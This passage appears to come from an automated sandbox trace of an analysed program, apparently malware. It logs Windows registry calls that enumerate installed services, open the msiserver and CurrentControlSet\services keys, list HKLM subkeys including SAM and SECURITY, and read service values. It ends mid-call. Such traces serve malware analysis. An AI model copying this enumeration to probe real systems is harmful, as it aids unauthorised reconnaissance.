0x21f1cd0 [0253.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0253.629] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0253.629] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0253.629] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0253.629] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0253.629] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0253.630] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0253.630] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0253.630] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0253.630] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0253.630] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0253.630] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0253.630] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0253.630] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0253.630] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0253.630] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0253.630] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0253.630] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0253.630] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0253.631] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0253.631] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0253.631] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0253.631] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0253.631] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0253.631] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0253.631] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0253.631] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0253.631] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0253.631] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0253.631] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0253.631] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0253.631] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0253.632] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0253.632] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0253.632] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0253.632] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0253.632] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0253.632] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0253.632] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0253.632] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0253.632] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0253.632] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0253.632] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0253.632] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0253.633] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0253.633] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0253.633] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0253.633] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0253.633] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0253.633] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0253.633] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0253.633] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0253.633] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0253.633] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0253.633] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0253.633] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0253.633] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0253.634] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0253.634] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0253.634] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0253.634] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0253.634] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0253.634] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0253.634] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0253.634] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0253.634] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0253.634] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0253.634] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0253.634] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0253.634] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0253.634] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0253.635] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0253.635] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0253.635] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0253.635] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0253.635] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0253.635] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0253.635] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0253.635] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0253.635] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0253.635] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0253.635] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0253.635] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0253.636] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0253.636] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0253.636] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0253.636] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0253.636] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0253.636] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0253.636] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0253.636] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0253.636] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0253.636] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0253.636] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0253.636] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0253.636] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0253.641] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0253.642] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0253.642] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0253.642] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0253.642] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0253.642] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0253.642] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0253.642] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0253.642] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0253.642] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0253.642] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0253.642] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0253.642] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0253.643] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0253.643] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0253.643] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0253.643] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0253.643] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0253.643] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0253.643] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0253.643] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0253.643] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0253.643] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0253.643] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0253.643] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0253.643] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0253.644] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0253.644] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0253.644] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0253.644] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0253.644] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0253.644] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0253.644] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0253.644] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0253.644] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0253.644] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0253.644] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0253.644] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0253.644] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0253.645] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0253.645] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0253.645] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0253.645] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0253.645] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0253.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0253.645] RegCloseKey (hKey=0xc4) returned 0x0 [0253.645] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.645] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.645] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.645] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.645] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.645] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.645] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.646] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0253.646] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.646] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.646] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.646] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.646] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.646] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.646] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.646] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.646] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.646] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.646] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.646] RegCloseKey (hKey=0x148) returned 0x0 [0253.647] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.647] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.647] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.647] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.647] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0253.647] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0253.647] RegCloseKey (hKey=0xc4) returned 0x0 [0253.647] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.647] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.647] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.647] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.647] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.647] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.648] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.648] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.648] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.648] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.648] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.648] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.648] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.649] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.649] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.649] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.649] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.649] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.649] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, 